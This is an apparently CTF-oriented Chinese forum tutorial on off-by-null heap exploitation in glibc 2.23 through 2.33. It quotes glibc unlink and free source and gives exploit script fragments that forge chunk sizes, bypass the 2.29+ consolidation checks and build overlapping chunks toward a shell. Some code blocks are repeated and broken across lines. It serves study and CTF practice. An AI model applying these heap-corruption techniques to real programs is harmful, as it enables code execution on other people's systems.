-
-
[原创]新人PWN堆Heap总结off-by-null专场(三)
-
发表于: 2021-9-1 00:19 17522
-
哎,水平还是太差,望师傅们斧正。
off-by-null是堆中的常见漏洞,很多时候都是结合堆布局来进行利用的。这里结合原理解析、不同版本和条件的off-by-null以及常见的漏洞条件做个总结。
主要发生在_int_free
的unlink中:
为了方便,依据物理地址相邻来命名如下:
即当size大于global_max_fast且不是mmap出来的chunk时,就会进入判断。所以这里我们进行释放用的chunk的大小就必须要大于global_max_fast才行,否则就是改掉了pre_inuse位也是直接进入fastbin,不会进入判断的。
先依据当前chunk(chunkP)的pre_inuse位来判断前一个chunk(preChunk)是否处于释放状态,是则进入unlink,将前一个chunk取出
然后判断下一个chunk(nextChunk)是否是top_chunk,是则直接与top_chunk合并。
然后unlink中就不细说,就是双向循环链表解链的过程,依据fd和bk来查找并解链,但是我们的off-by-null通常不会涉及到nextsize位的使用,所以基本不用看后面的。需要注意的是,由于这里会检查,即:
所以我们需要将进入unlink的chunk的fd和bk来进行伪造或者干脆直接释放使其直接进入unsortedbin中完成双向链表的加持。这里先讲放入unsortedbin中来获取fd和bk的方法,伪造的方法一般用在2.29及以上的高版本中,因为那时候的unlink加入了关于size位的检查,不能简单得伪造fd和bk。
其次,这里还需要明白一个寻找chunk的原理。
即以下源码,这个一直没有变化过:
所以,如果我们可以伪造pre_size和in_use位,就能触发向上任意寻找一个满足fd和bk为双向链表的chunk,从而将中间所有的chunk都一并合并为一个Chunk释放掉。(向下合并也可以的,不过一般不常使用)
这里就是通过释放chunkP,依据pre_size向上寻找到原本已经在unsortedbin中的preChunk,其FD和BK已经组成双向循环链表,可以绕过检查,所以释放ChunkP之后preChunk+OverlapChunk+chunkP都进入到unsortedbin中。但是OverlapChunk本身其实并没有被释放,我们再从unsortedbin中申请切割出preChunk大小的chunk,再申请就可以得到OverlapChunk。这样我们就有两个指针都指向OverlapChunk,从而伪造出UAF,之后我们就可以通过OverlapChunk来getshell了。
off-by-null在调试中不太好搞,所以我就借用堆溢出来假设存在off-by-null,将chunk3原本的size位0x101通过off-by-null变成0x100即可。
此外需要注意的是,需要先释放chunk1,再溢出修改chunk3。不然如果先修改chunk3,那么释放chunk1的时候,寻找chunk1的nextChunk即chunk2,判断chunk2是否处于释放状态时,会找到chunk3,依据pre_inuse位发现chunk2已经处于释放状态,那么尝试进入unlink合并,但是这里的chunk2的fd和bk并没有组成双向循环链表,所以会出错。
0x100:这里注意到上面的布局中size位为0x100和0x70,这里的0x100就是为了通过off-by-null将0x101变成0x100设置的。当然设置为0x201,0x301通常也是一样的。
0x70:这里就通常是为了方便打fastbin attack,从_malloc_hook处构造0x7f字节错位用的。
这里也不是特指2.27,而指的是Glibc2.29以下的存在tcache的版本,这类版本通常需要填充满tcache再进行释放,也不需要多讲。
从这个版本开始,off-by-null由于加入的检查,引入了好几种全新的利用方式。
加入的检查是
这里的p因为p = chunk_at_offset(p, -((long) prevsize));
已经变成了preChunk。所以这里就是检查preChunk->size是否等于chunkP->pre_size。按照上面那张图的逻辑,preChunk的size为0x101,chunkP的pre_size为0x170,两个不等于,根本就无法进入unlink中,直接崩掉。
首先unlink从宏定义变成了全局函数定义,名字也从unlink变成了unlink_chunk,但实际内容没有变太多,只是加入了一些检查:
加入的检查,就加了一个if语句:
即在unlink时会检查nextChunk的pre_size是否等于chunkP的size。
按照之前那张图的逻辑,进入unlink中时preChunk的size为0x100,preChunk的nextChunk,即overlapChunk的pre_size为0x100,相等,可以满足要求,没啥大用,但是之后提出的绕过手段也是需要绕过这个检查的。
▲后面的更高版本,到2.33都没变化,也就不提了。只是2.32中的指针异或可能需要注意一下,但是之后的绕过手段一般是基于unsortedbin,smallbin,largebin来绕过,不存在指针异或的情况,所以也不用太在意。
这里将的是2.29及以上的版本
这个之前写过,参考这篇文章:
或者t1an5g师傅的文章:
https://bbs.pediy.com/thread-257901.htm#msg_header_h2_2
当然ex师傅的原始解析也很好:
http://blog.eonew.cn/archives/1233
但是这个需要爆破半个字节,也不能对size做太多的限制,且chunk需要申请大概有24个,所以看个人需要。
这个也写过,参考这篇:
2.29-2.32下的off-by-null | PIG-007
当然我也是参考WJH师傅的:
glibc 2.29-2.32 off by null bypass - 安全客,安全资讯平台 (anquanke.com)
这个不需要爆破,但是对size的限制不能太严格,需要largebin的size。
这个还没写过总结,现在来,不过先贴下文章,init-0师傅的:
堆漏洞利用(2.29以上glibc,off-by-null, 加了申请size限制) - 安全客,安全资讯平台 (anquanke.com)
这种方法在size限制下也可以使用,文章中的限制是0xe8的堆块,真是将堆布局用到极高的水平。
▲先看最终的布局效果:
这样就能通过两项检查了:
由于init-0师傅的题目中,申请chunk是从0x3a0开始的,所以这里我就也以0x3a0开始:
并且将要利用的Chunk释放合并进入unsortedbin
重构之后如下
那么实际上其实原先的0x420被申请了0x340,还有一部分0xe0没有被申请出来。
重构之后如下
方便将0x****ff70
和0x****f900
的对于fd,bk进行off-by-null,使得0xb20变为0xb00。
现在就可以通过chunk179来将0x****f900
中的bk给改掉。
通过chunk156来将0x****ff70
中的fd给改掉。
①利用unsortedbin成链机制,合并unsortedbin中的chunk并且切割,这样就能保留住FD和BK了。
②再利用unsortedbin成链和切割的机制,就能修改到对应preChunk的FD和BK了,修改最后一个字节为\x00即可。
③由于2.29之后的添加的两项检查,所以需要注意的是伪造unsortedbinChunk的size时,也要伪造nextChunk的pre_size和pre_inuse位。
④太他丫的麻烦了,有这时间布局还不如肝其他题.....
再贴个汇总的exp,基于libc2.30,自己的题目:
/
/
2.23
when size>global_max_fast
/
*
consolidate backward
*
/
if
(!prev_inuse(p)) {
prevsize
=
p
-
>prev_size;
size
+
=
prevsize;
p
=
chunk_at_offset(p,
-
((
long
) prevsize));
unlink(av, p, bck, fwd);
}
if
(nextchunk !
=
av
-
>top) {
/
*
get
and
clear inuse bit
*
/
nextinuse
=
inuse_bit_at_offset(nextchunk, nextsize);
/
*
consolidate forward
*
/
if
(!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size
+
=
nextsize;
}
/
*
Take a chunk off a
bin
list
*
/
#define unlink(AV, P, BK, FD) {
FD
=
P
-
>fd;
BK
=
P
-
>bk;
if
(__builtin_expect (FD
-
>bk !
=
P || BK
-
>fd !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list"
, P, AV);
else
{
FD
-
>bk
=
BK;
BK
-
>fd
=
FD;
if
(!in_smallbin_range (P
-
>size)
&& __builtin_expect (P
-
>fd_nextsize !
=
NULL,
0
))
{
if
(__builtin_expect (P
-
>fd_nextsize
-
>bk_nextsize !
=
P,
0
)
|| __builtin_expect (P
-
>bk_nextsize
-
>fd_nextsize !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list (not small)"
,
P, AV);
if
(FD
-
>fd_nextsize
=
=
NULL) {
if
(P
-
>fd_nextsize
=
=
P)
FD
-
>fd_nextsize
=
FD
-
>bk_nextsize
=
FD;
else
{
FD
-
>fd_nextsize
=
P
-
>fd_nextsize;
FD
-
>bk_nextsize
=
P
-
>bk_nextsize;
P
-
>fd_nextsize
-
>bk_nextsize
=
FD;
P
-
>bk_nextsize
-
>fd_nextsize
=
FD;
}
}
else
{
P
-
>fd_nextsize
-
>bk_nextsize
=
P
-
>bk_nextsize;
P
-
>bk_nextsize
-
>fd_nextsize
=
P
-
>fd_nextsize;
}
}
}
}
/
/
2.23
when size>global_max_fast
/
*
consolidate backward
*
/
if
(!prev_inuse(p)) {
prevsize
=
p
-
>prev_size;
size
+
=
prevsize;
p
=
chunk_at_offset(p,
-
((
long
) prevsize));
unlink(av, p, bck, fwd);
}
if
(nextchunk !
=
av
-
>top) {
/
*
get
and
clear inuse bit
*
/
nextinuse
=
inuse_bit_at_offset(nextchunk, nextsize);
/
*
consolidate forward
*
/
if
(!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size
+
=
nextsize;
}
/
*
Take a chunk off a
bin
list
*
/
#define unlink(AV, P, BK, FD) {
FD
=
P
-
>fd;
BK
=
P
-
>bk;
if
(__builtin_expect (FD
-
>bk !
=
P || BK
-
>fd !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list"
, P, AV);
else
{
FD
-
>bk
=
BK;
BK
-
>fd
=
FD;
if
(!in_smallbin_range (P
-
>size)
&& __builtin_expect (P
-
>fd_nextsize !
=
NULL,
0
))
{
if
(__builtin_expect (P
-
>fd_nextsize
-
>bk_nextsize !
=
P,
0
)
|| __builtin_expect (P
-
>bk_nextsize
-
>fd_nextsize !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list (not small)"
,
P, AV);
if
(FD
-
>fd_nextsize
=
=
NULL) {
if
(P
-
>fd_nextsize
=
=
P)
FD
-
>fd_nextsize
=
FD
-
>bk_nextsize
=
FD;
else
{
FD
-
>fd_nextsize
=
P
-
>fd_nextsize;
FD
-
>bk_nextsize
=
P
-
>bk_nextsize;
P
-
>fd_nextsize
-
>bk_nextsize
=
FD;
P
-
>bk_nextsize
-
>fd_nextsize
=
FD;
}
}
else
{
P
-
>fd_nextsize
-
>bk_nextsize
=
P
-
>bk_nextsize;
P
-
>bk_nextsize
-
>fd_nextsize
=
P
-
>fd_nextsize;
}
}
}
}
if
(__builtin_expect (FD
-
>bk !
=
P || BK
-
>fd !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list"
, P, AV);
if
(__builtin_expect (FD
-
>bk !
=
P || BK
-
>fd !
=
P,
0
))
malloc_printerr (check_action,
"corrupted double-linked list"
, P, AV);
/
*
Ptr to previous physical malloc_chunk. Only valid
if
!prev_inuse (P).
*
/
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
/
*
Ptr to
next
physical malloc_chunk.
*
/
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/
*
Get size, ignoring use bits
*
/
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/
*
extract p's inuse bit
*
/
#define inuse(p) \
((((mchunkptr) (((char
*
) (p))
+
chunksize (p)))
-
>mchunk_size) & PREV_INUSE)
/
*
Ptr to previous physical malloc_chunk. Only valid
if
!prev_inuse (P).
*
/
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
/
*
Ptr to
next
physical malloc_chunk.
*
/
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/
*
Get size, ignoring use bits
*
/
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/
*
extract p's inuse bit
*
/
#define inuse(p) \
((((mchunkptr) (((char
*
) (p))
+
chunksize (p)))
-
>mchunk_size) & PREV_INUSE)
add_malloc(
0xf8
,
'\x00'
*
0xf8
)
#0x1
add_malloc(
0x68
,
'\x00'
*
0x68
)
#0x2
add_malloc(
0xf8
,
'\x00'
*
0xf8
)
#0x3
add_malloc(
0x68
,
'\x00'
*
0x68
)
#0x4
free(
0x1
)
edit(
0x2
,
0x70
,
'\x00'
*
0x60
+
p64(
0x70
+
0x100
)
+
p16(
0x100
))
free(
0x3
)
add_malloc(
0xf8
,
'\x00'
*
0xf8
)
#0x1
add_malloc(
0x68
,
'\x00'
*
0x68
)
#0x2
add_malloc(
0xf8
,
'\x00'
*
0xf8
)
#0x3
add_malloc(
0x68
,
'\x00'
*
0x68
)
#0x4
free(
0x1
)
edit(
0x2
,
0x70
,
'\x00'
*
0x60
+
p64(
0x70
+
0x100
)
+
p16(
0x100
))
free(
0x3
)
if
(!prev_inuse(p)) {
prevsize
=
prev_size (p);
size
+
=
prevsize;
p
=
chunk_at_offset(p,
-
((
long
) prevsize));
if
(__glibc_unlikely (chunksize(p) !
=
prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
unlink_chunk (av, p);
}
if
(!prev_inuse(p)) {
prevsize
=
prev_size (p);
size
+
=
prevsize;
p
=
chunk_at_offset(p,
-
((
long
) prevsize));
if
(__glibc_unlikely (chunksize(p) !
=
prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
unlink_chunk (av, p);
}
if
(__glibc_unlikely (chunksize(p) !
=
prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
if
(__glibc_unlikely (chunksize(p) !
=
prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
/
*
Take a chunk off a
bin
list
.
*
/
static void
unlink_chunk (mstate av, mchunkptr p)
{
if
(chunksize (p) !
=
prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
mchunkptr fd
=
p
-
>fd;
mchunkptr bk
=
p
-
>bk;
if
(__builtin_expect (fd
-
>bk !
=
p || bk
-
>fd !
=
p,
0
))
malloc_printerr (
"corrupted double-linked list"
);
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
if
(!in_smallbin_range (chunksize_nomask (p)) && p
-
>fd_nextsize !
=
NULL)
{
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
if
(fd
-
>fd_nextsize
=
=
NULL)
{
if
(p
-
>fd_nextsize
=
=
p)
fd
-
>fd_nextsize
=
fd
-
>bk_nextsize
=
fd;
else
{
fd
-
>fd_nextsize
=
p
-
>fd_nextsize;
fd
-
>bk_nextsize
=
p
-
>bk_nextsize;
p
-
>fd_nextsize
-
>bk_nextsize
=
fd;
p
-
>bk_nextsize
-
>fd_nextsize
=
fd;
}
}
else
{
p
-
>fd_nextsize
-
>bk_nextsize
=
p
-
>bk_nextsize;
p
-
>bk_nextsize
-
>fd_nextsize
=
p
-
>fd_nextsize;
}
}
}
/
*
Take a chunk off a
bin
list
.
*
/
static void
unlink_chunk (mstate av, mchunkptr p)
{
if
(chunksize (p) !
=
prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
mchunkptr fd
=
p
-
>fd;
mchunkptr bk
=
p
-
>bk;
if
(__builtin_expect (fd
-
>bk !
=
p || bk
-
>fd !
=
p,
0
))
malloc_printerr (
"corrupted double-linked list"
);
fd
-
>bk
=
bk;
bk
-
>fd
=
fd;
if
(!in_smallbin_range (chunksize_nomask (p)) && p
-
>fd_nextsize !
=
NULL)
{
if
(p
-
>fd_nextsize
-
>bk_nextsize !
=
p
|| p
-
>bk_nextsize
-
>fd_nextsize !
=
p)
malloc_printerr (
"corrupted double-linked list (not small)"
);
if
(fd
-
>fd_nextsize
=
=
NULL)
{
if
(p
-
>fd_nextsize
=
=
p)
fd
-
>fd_nextsize
=
fd
-
>bk_nextsize
=
fd;
else
{
fd
-
>fd_nextsize
=
p
-
>fd_nextsize;
fd
-
>bk_nextsize
=
p
-
>bk_nextsize;
p
-
>fd_nextsize
-
>bk_nextsize
=
fd;
p
-
>bk_nextsize
-
>fd_nextsize
=
fd;
}
}
else
{
p
-
>fd_nextsize
-
>bk_nextsize
=
p
-
>bk_nextsize;
p
-
>bk_nextsize
-
>fd_nextsize
=
p
-
>fd_nextsize;
}
}
}
if
(chunksize (p) !
=
prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
if
(chunksize (p) !
=
prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
/
/
_int_free中
if
(__glibc_unlikely (chunksize(p) !
=
prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
/
/
unlink中
if
(chunksize (p) !
=
prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
/
/
_int_free中
if
(__glibc_unlikely (chunksize(p) !
=
prevsize))
malloc_printerr (
"corrupted size vs. prev_size while consolidating"
);
/
/
unlink中
if
(chunksize (p) !
=
prev_size (next_chunk (p)))
malloc_printerr (
"corrupted size vs. prev_size"
);
#get layout to let chunk0_addr = 0x****3a0
claim(
0x88
)
# 0-6 #1-7
claim(
0x98
)
# 7-13 #8-14
claim(
0xa8
)
# 14-20 #15-21
claim(
0xb8
)
# 21-27 #22-28
claim(
0xc8
)
# 28-34 #29-35
claim(
0xd8
)
# 35-41 #36-42
claim(
0xe8
)
# 42-48 #43-49
#--------------------------
add_malloc(
0x98
,
'\x00'
)
# 49 #50
add_malloc(
0x98
,
'\x00'
)
# 50 #51 0x****f900
add_malloc(
0x18
,
'\x00'
)
# 51 #52 0x****f9a0
add_malloc(
0xa8
,
'\x00'
)
# 52 0 #53 0x****f9c0
add_malloc(
0xb8
,
'\x00'
)
# 53 1 #54 0x****fa70
add_malloc(
0xd8
,
'\x00'
)
# 54 2 #55 0x****fb30
add_malloc(
0xd8
,
'\x00'
)
# 55 #56
add_malloc(
0xe8
,
'\x00'
)
# 56 3 #57 0x****fcf0
#这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的
fakeChunk_nextChunk_preSize
=
p64(
0x200
)
+
p64(
0xe0
)
edit(
57
,
0x10
,fakeChunk_nextChunk_preSize)
# 56 #57
add_malloc(
0xe8
,
'\x00'
)
# 57 4 #58 0x****fde0
add_malloc(
0x98
,
'\x00'
)
# 58 #59
add_malloc(
0xe8
,
'\x00'
)
# 59 #60 0x****ff70
add_malloc(
0x18
,
'\x00'
)
# 60 #61
#get layout to let chunk0_addr = 0x****3a0
claim(
0x88
)
# 0-6 #1-7
claim(
0x98
)
# 7-13 #8-14
claim(
0xa8
)
# 14-20 #15-21
claim(
0xb8
)
# 21-27 #22-28
claim(
0xc8
)
# 28-34 #29-35
claim(
0xd8
)
# 35-41 #36-42
claim(
0xe8
)
# 42-48 #43-49
#--------------------------
add_malloc(
0x98
,
'\x00'
)
# 49 #50
add_malloc(
0x98
,
'\x00'
)
# 50 #51 0x****f900
add_malloc(
0x18
,
'\x00'
)
# 51 #52 0x****f9a0
add_malloc(
0xa8
,
'\x00'
)
# 52 0 #53 0x****f9c0
add_malloc(
0xb8
,
'\x00'
)
# 53 1 #54 0x****fa70
add_malloc(
0xd8
,
'\x00'
)
# 54 2 #55 0x****fb30
add_malloc(
0xd8
,
'\x00'
)
# 55 #56
add_malloc(
0xe8
,
'\x00'
)
# 56 3 #57 0x****fcf0
#这个0x200和0xe0的设置是为了之后将unsortedbinChunk给改成0x200备用的
fakeChunk_nextChunk_preSize
=
p64(
0x200
)
+
p64(
0xe0
)
edit(
57
,
0x10
,fakeChunk_nextChunk_preSize)
# 56 #57
add_malloc(
0xe8
,
'\x00'
)
# 57 4 #58 0x****fde0
add_malloc(
0x98
,
'\x00'
)
# 58 #59
add_malloc(
0xe8
,
'\x00'
)
# 59 #60 0x****ff70
add_malloc(
0x18
,
'\x00'
)
# 60 #61
#free 0~48 #1~49
#-------------------------
#--tcache
for
i
in
range
(
0
,
7
):
#0x88
free(i
+
1
)
for
i
in
range
(
14
,
21
):
#0xa8
free(i
+
1
)
for
i
in
range
(
21
,
28
):
#0xb8
free(i
+
1
)
for
i
in
range
(
35
,
42
):
#0xd8
free(i
+
1
)
for
i
in
range
(
42
,
49
):
#0xe8
free(i
+
1
)
#--tcache
for
i
in
range
(
52
,
57
):
#52~56 #53~57 merge into unsortedbin
free(i
+
1
)
#free 0~48 #1~49
#-------------------------
#--tcache
for
i
in
range
(
0
,
7
):
#0x88
free(i
+
1
)
for
i
in
range
(
14
,
21
):
#0xa8
free(i
+
1
)
for
i
in
range
(
21
,
28
):
#0xb8
free(i
+
1
)
for
i
in
range
(
35
,
42
):
#0xd8
free(i
+
1
)
for
i
in
range
(
42
,
49
):
#0xe8
free(i
+
1
)
#--tcache
for
i
in
range
(
52
,
57
):
#52~56 #53~57 merge into unsortedbin
free(i
+
1
)
graph TD;
0
(chunk53<br>
0xa8
<br>
0x
*
*
*
*
9c0
)
-
-
>
1
(chunk54<br>
0xb8
)
-
-
>
2
(chunk55<br>
0xd8
)
-
-
>
3
(chunk56<br>
0xd8
)
-
-
>
4
(chunk57<br>
0xe8
<br>
0x
*
*
*
*
cf0)
graph TD;
0
(chunk53<br>
0xa8
<br>
0x
*
*
*
*
9c0
)
-
-
>
1
(chunk54<br>
0xb8
)
-
-
>
2
(chunk55<br>
0xd8
)
-
-
>
3
(chunk56<br>
0xd8
)
-
-
>
4
(chunk57<br>
0xe8
<br>
0x
*
*
*
*
cf0)
#---------------------------
# empty tcache
claim(
0x88
)
#62~68
claim(
0xa8
)
#69~75
claim(
0xb8
)
#76~82
claim(
0xd8
)
#83~89
claim(
0xe8
)
#90~96
#---------------------------
#---------------------------------------------------------------- 上面是一个大的unsorted bin
#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配
add_malloc(
0x98
,
'\x00'
)
# 52 #97 #0x****9c0
add_malloc(
0x98
,
'\x00'
)
# 53 #98 #0x****A60
fake_chunk_size
=
0x98
*
"a"
+
p16(
0x200
)
#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200
#changing largebinChunk_size will not cause abort
edit(
98
,
0x98
+
0x2
,fake_chunk_size)
#53 #98
add_malloc(
0x88
,
'\x00'
)
#54 #99 #0x****B00
add_malloc(
0x88
,
'\x00'
)
#55 #100 #0x****B90
add_malloc(
0xd8
,
'\x00'
)
#56 #101 #0x****C70
#---------------------------
# empty tcache
claim(
0x88
)
#62~68
claim(
0xa8
)
#69~75
claim(
0xb8
)
#76~82
claim(
0xd8
)
#83~89
claim(
0xe8
)
#90~96
#---------------------------
#---------------------------------------------------------------- 上面是一个大的unsorted bin
#进行add之后carver up and unsortedbin 被放入了largebin 之后进行了分配
add_malloc(
0x98
,
'\x00'
)
# 52 #97 #0x****9c0
add_malloc(
0x98
,
'\x00'
)
# 53 #98 #0x****A60
fake_chunk_size
=
0x98
*
"a"
+
p16(
0x200
)
#这里我借用堆溢出来仿照off-by-null,修改还在largebin中的chunk的size从0x2e1->0x200
#changing largebinChunk_size will not cause abort
edit(
98
,
0x98
+
0x2
,fake_chunk_size)
#53 #98
add_malloc(
0x88
,
'\x00'
)
#54 #99 #0x****B00
add_malloc(
0x88
,
'\x00'
)
#55 #100 #0x****B90
add_malloc(
0xd8
,
'\x00'
)
#56 #101 #0x****C70
graph TD;
0
(chunk97<br>
0x98
<br>
0x
*
*
*
*
9c0
)
-
-
>
1
(chunk98<br>
0x98
)
-
-
>
2
(chunk99<br>
0x88
)
-
-
>
3
(chunk100<br>
0x88
)
-
-
>
4
(chunk101<br>
0xd8
<br>
0x
*
*
*
*
cf0)
-
-
>
5
(
0xe0
碎片)
graph TD;
0
(chunk97<br>
0x98
<br>
0x
*
*
*
*
9c0
)
-
-
>
1
(chunk98<br>
0x98
)
-
-
>
2
(chunk99<br>
0x88
)
-
-
>
3
(chunk100<br>
0x88
)
-
-
>
4
(chunk101<br>
0xd8
<br>
0x
*
*
*
*
cf0)
-
-
>
5
(
0xe0
碎片)
#------tcache
for
i
in
range
(
7
,
14
):
#0x98
free(i
+
1
)
for
i
in
range
(
0
,
7
):
#0x88
free(i
+
1
)
for
i
in
range
(
42
,
49
):
#0xe8
free(i
+
1
)
#------tcache
free(
51
)
#0x98 #50 #51 #0x****f900
#let 99->fd = chunk51_addr(0x****f900)
free(
99
)
#0x88 #54 #99
#let 99->bk = chunk60_addr(0x****ff70)
free(
60
)
#0xe8 #59 #60 #0x****ff70
#------tcache
for
i
in
range
(
7
,
14
):
#0x98
free(i
+
1
)
for
i
in
range
(
0
,
7
):
#0x88
free(i
+
1
)
for
i
in
range
(
42
,
49
):
#0xe8
free(i
+
1
)
#------tcache
free(
51
)
#0x98 #50 #51 #0x****f900
#let 99->fd = chunk51_addr(0x****f900)
free(
99
)
#0x88 #54 #99
#let 99->bk = chunk60_addr(0x****ff70)
free(
60
)
#0xe8 #59 #60 #0x****ff70
free(
98
)
#0x98 #53 #98
#---------------add back
claim(
0x88
)
#102~108
claim(
0x98
)
#109~115
claim(
0xe8
)
#116~122
#---------------add back
#将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块
#之后依据大小适配原则将60分配回来给123
add_malloc(
0xd8
,
'\x00'
)
# 0x32 #123 0x****ff70,实际大小为0xf0
#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中
add_malloc(
0xb8
,
'\x00'
)
# 0x35 #124 0x****fa60
for
i
in
range
(
0
,
7
):
#0x88
free(i
+
1
)
#chunk100放入unsortedbin, 与0x70的碎片合并,形成0x101的块
free(
100
)
#55 #100
claim(
0x88
)
#125~131
#切割0x101的块,获得0xb8大小的0x****fb20,方便与0x****f900的块放入同一个unsortebin中
add_malloc(
0xb8
,
'\x00'
)
#0x36 #132 0x****fb20
add_malloc(
0x98
,
'\x00'
)
#0x37 #133 0x****f900
add_malloc(
0x38
,
'\x00'
)
#0x3b #134 0x****fbe0
free(
98
)
#0x98 #53 #98
#---------------add back
claim(
0x88
)
#102~108
claim(
0x98
)
#109~115
claim(
0xe8
)
#116~122
#---------------add back
#将51,99,98分别放入对应的smallbin,98和99由于物理相邻,所以合并成为0x130的块
#之后依据大小适配原则将60分配回来给123
add_malloc(
0xd8
,
'\x00'
)
# 0x32 #123 0x****ff70,实际大小为0xf0
#将0x131的smallbin切分,此时51还在0xa0的smallbin中,剩下0x70的Chunk进入unsortedbin中
add_malloc(
0xb8
,
'\x00'
)
# 0x35 #124 0x****fa60
for
i
in
range
(
0
,
7
):
#0x88
free(i
+
1
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]CVE-2021-22555_Netfilter堆溢出提权漏洞 22416
- [原创]Kernel从0开始(四) 28157
- [原创]Kernel从0开始(三) 29251
- [原创]Kernel从0开始(二) 32429
- [原创]Kernel从0开始(一) 44925